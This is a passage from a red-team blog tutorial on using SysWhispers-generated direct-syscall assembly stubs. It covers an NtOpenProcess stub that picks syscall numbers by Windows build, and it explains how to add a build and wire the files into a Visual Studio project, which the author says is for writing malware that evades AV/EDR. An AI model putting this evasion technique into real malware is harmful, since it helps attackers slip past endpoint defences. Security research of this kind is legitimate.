	cmp word ptr [rax+120h], 19042
	je  NtOpenProcess_SystemCall_10_0_19042
	cmp word ptr [rax+120h], 19043
	je  NtOpenProcess_SystemCall_10_0_19043
	jmp NtOpenProcess_SystemCall_Unknown
	[...]
```

Depending on which build number the program finds, for example, let's assume that we were on `19043`, it would jump to the corresponding section to populate the `eax` register with the build-specific syscall number:

```nasm
NtOpenProcess_SystemCall_10_0_19043:        ; Windows 10.0.19043 (21H1)
	mov eax, 0026h
	jmp NtOpenProcess_Epilogue
```

Once that's been done, it'll jump to the syscall epilogue where our syscall is actually executed before returning:

```nasm
NtOpenProcess_Epilogue:
	mov r10, rcx
	syscall
	ret
NtOpenProcess ENDP
```

It rinses and repeats for all the functions that we've generated the code for and that's how SysWhispers (version 1) works! A slight issue you might've noticed (or already know because it was in a callout earlier) is that our build version (`19045`) isn't there with all the other cool cats. Since we know the core logic behind this program and how it generates files for us and the contents therein, we can simply add our own build to the long list of builds present.

{% hint style="warning" %}
Obviously, manually adding in our own syscalls for every function we've generated using this tool kind of goes against the whole point of this tool since it was created to do all of this for us. However, we're just doing this as a PoC just to get a crystal clear understanding of this tool and its inner workings.
{% endhint %}

{% hint style="danger" %}
If you try to incorporate these files and your build version isn't present/accounted for in the `.asm` file, then nothing will happen upon execution because the stubs will `ret` due to the `NtOpenProcess_Check_10_0_XXXX` performing the unconditional `jmp NtOpenProcess_SystemCall_Unknown` instruction. When I first started, this got me and it made me waste a lot of time, so just keep that in mind!
{% endhint %}

I've butchered and added the following lines so that our build would be included - as well as the syscall numbers we've dumped from earlier:

```nasm
.code

NtOpenProcess PROC
	mov rax, gs:[60h]                    ; Load PEB into RAX. PEB x64 @ gs:[60h], PEB x32 @ fs[:30h]
NtOpenProcess_Check_X_X_XXXX:                ; PEB->OSMajorVersion
	cmp dword ptr [rax+118h], 10           
	je  NtOpenProcess_Check_10_0_XXXX       
	jmp NtOpenProcess_SystemCall_Unknown ; if not Windows 10, jmp NtOpenProcess_SystemCall_Unknown
NtOpenProcess_Check_10_0_XXXX:               ; PEB->OSBuildNumber
	cmp word ptr [rax+120h], 19045          
	je  NtOpenProcess_SystemCall_10_0_19045
	jmp NtOpenProcess_SystemCall_Unknown ; if not build 19045, jmp NtOpenProcess_SystemCall_Unknown
NtOpenProcess_SystemCall_10_0_19045:         ; Windows 10.0.19045 (22H2) added by ~~headass~~ crow
	mov eax, 0026h
	jmp NtOpenProcess_Epilogue              
NtOpenProcess_SystemCall_Unknown:            ; Unknown/unsupported version.
	ret
NtOpenProcess_Epilogue:
	mov r10, rcx
	syscall                              ; can be replaced w/ legacy int 2eh as well
	ret
NtOpenProcess ENDP
```

Now, we just rinse and repeat for all of the functions (you really don't have to do this, you could just add in your build without removing them all - but for the sake of space, I'll be doing it this way). Eventually, you'll have a file that looks something like this:

{% file src="<https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FJO9YMENztR2mA8fpCgpT%2Fsyswhispers.asm?alt=media&token=e3dd91ed-4845-46fe-8559-c58107541b76>" %}
Our syswhispers assembly file
{% endfile %}

I've left the `syswhispers.h` header file intact because aside from adding in our macros for printing, the `NTSTATUS` `STATUS_SUCCESS`, etc., it's pretty much the same as our `glassBox.h` header file, even initializing the `_OBJECT_ATTRIBUTES` structure with the [`InitializeObjectAttributes`](https://learn.microsoft.com/en-us/windows/win32/api/ntdef/nf-ntdef-initializeobjectattributes) macro):

```c
#ifndef InitializeObjectAttributes
#define InitializeObjectAttributes( p, n, a, r, s ) { \
	(p)->Length = sizeof( OBJECT_ATTRIBUTES );        \
	(p)->RootDirectory = r;                           \
	(p)->Attributes = a;                              \
	(p)->ObjectName = n;                              \
	(p)->SecurityDescriptor = s;                      \
	(p)->SecurityQualityOfService = NULL;             \
}
#endif
```

Also, instead of using the `extern` keyword for the function prototypes, the header uses `EXTERN_C` which is just expands to `extern` anyways so it's the same thing:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FFfc44UgCk3S7fN1F8Jiv%2Fimage.png?alt=media&#x26;token=851dd202-0bb6-42b7-ab6c-4045446f326d" alt=""><figcaption><p><code>EXTERN_C</code> expands to <code>extern</code></p></figcaption></figure>

With this finally done. We can at last, just include these two files into our project directory and include them into our solution. Once you've created a project, drag and drop the generated `.asm` and `.h` files into the directory where your project is:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2F6u48YrfB2q1XUyrF6ZEj%2Fimage.png?alt=media&#x26;token=6221b5ef-c396-4f51-80e8-f23893c3870d" alt=""><figcaption><p>Moving generated files to project directory</p></figcaption></figure>

We can add these files to our project now:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FALqBXJlH4CWTcsVyo90h%2Fimage.png?alt=media&#x26;token=9ab90b3a-8095-444b-b4d0-beb30d3d8234" alt=""><figcaption><p>Adding the generated assembly file to project</p></figcaption></figure>

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FNLsVAn8eqVTSSYzkdkyL%2Fimage.png?alt=media&#x26;token=d36d1198-3b2a-4808-9592-5081d4370a1a" alt=""><figcaption><p>Selecting <code>syscalls.asm</code></p></figcaption></figure>

After pressing `Add`, you'll see it in your solution explorer pane. Next up, the header file. Same thing as before except we right-click on `Header Files` and choose the `syscalls.h` file:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FlyuqTy9oI3FaIsdUSZy4%2Fimage.png?alt=media&#x26;token=7b8c1880-9b6a-43f6-a3c5-6af1c5634c05" alt=""><figcaption><p>Selecting <code>syscalls.h</code></p></figcaption></figure>

Once that's finally added, we can enable `MASM` for our project like we did in the assembly portion section. Right-click your project and go to `Build Dependencies > Build Customizations`. Once the new window pops up, enable `masm`. After this, right-click on your `syscalls.asm` file and head to `Properties`:

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FdwCrosHjIf3rJFogp0Mf%2Fimage.png?alt=media&#x26;token=0ee62a52-d992-46a0-8e45-d480de97eea8" alt=""><figcaption><p>Setting the <code>syscall.asm</code> properties to use <code>MASM</code></p></figcaption></figure>

With that done, you're golden! You can now add a new source file and program out your malware.

<figure><img src="https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FutprjSAqctaD3DCNL9LQ%2Fimage.png?alt=media&#x26;token=e7ed6f2c-74b0-40bb-b35a-359e0969f50c" alt=""><figcaption><p>SysWhispers direct syscalls implementation</p></figcaption></figure>

{% tabs %}
{% tab title="SysWhispers Direct Syscalls Implementation" %}
{% file src="<https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FBAaXP5BxYIKgwp45Uqdn%2Fwhispers.c?alt=media&token=eaaf2772-dac4-44ff-8e88-0e6383b5ebaa>" %}
SysWhispers direct syscalls source code
{% endfile %}

{% file src="<https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2Fp2IaVAkDOgmr8X1bySIS%2Fsyswhispers.asm?alt=media&token=94641233-0d7d-4eae-9b66-4df9d8871e87>" %}
SysWhispers generated assembly file (butchered by us)
{% endfile %}

{% file src="<https://1228221155-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9DPJAb4Evg5zR0jvZIvx%2Fuploads%2FmspAShzZv9kTTqKNE8ym%2Fsyswhispers.h?alt=media&token=05344c4f-de79-4137-88ee-cf0e6186486d>" %}
SysWhispers generated header file
{% endfile %}
{% endtab %}
{% endtabs %}

I hope you can see why I waited until the last moment to show this tool off. I'm a firm believer in at least manually doing something a couple of times before relying on a tool to do it for you - since that way, you understand what's going on under the hood and can troubleshoot much easier should something break or go wrong. Either way, this blog has been going on for long enough - till next time, see ya later (nerd).

## References

{% embed url="<https://github.com/am0nsec/HellsGate/tree/master>" %}

{% embed url="<https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls>" %}

{% embed url="<https://redops.at/en/blog/direct-syscalls-a-journey-from-high-to-low>" %}

{% embed url="<https://alice.climent-pommeret.red/posts/a-syscall-journey-in-the-windows-kernel/>" %}

{% embed url="<https://www.ired.team/offensive-security/defense-evasion/using-syscalls-directly-from-visual-studio-to-bypass-avs-edrs>" %}

{% embed url="<https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/>" %}

{% embed url="<https://www.geoffchappell.com/studies/windows/km/ntoskrnl/inc/api/ntexapi_x/kuser_shared_data/index.htm>" %}

{% embed url="<https://www.geoffchappell.com/studies/windows/km/cpu/sep.htm>" %}

{% embed url="<https://www.amossys.fr/fr/ressources/blog-technique/windows10-th2-int2e-mystery/>" %}

{% embed url="<https://j00ru.vexillium.org/syscalls/nt/64/>" %}

{% embed url="<https://github.com/j00ru/windows-syscalls>" %}

{% embed url="<https://stackoverflow.com/a/13064985>" %}

{% embed url="<https://en.wikipedia.org/wiki/TEST_(x86_instruction)>" %}

{% embed url="<http://www.nynaeve.net/?cat=4&paged=6>" %}

{% embed url="<https://kylemistele.medium.com/a-beginners-guide-to-edr-evasion-b98cc076eb9a>" %}

{% embed url="<https://www.packtpub.com/product/mastering-malware-analysis/9781789610789>" %}

{% embed url="<http://jbremer.org/x86-api-hooking-demystified/>" %}
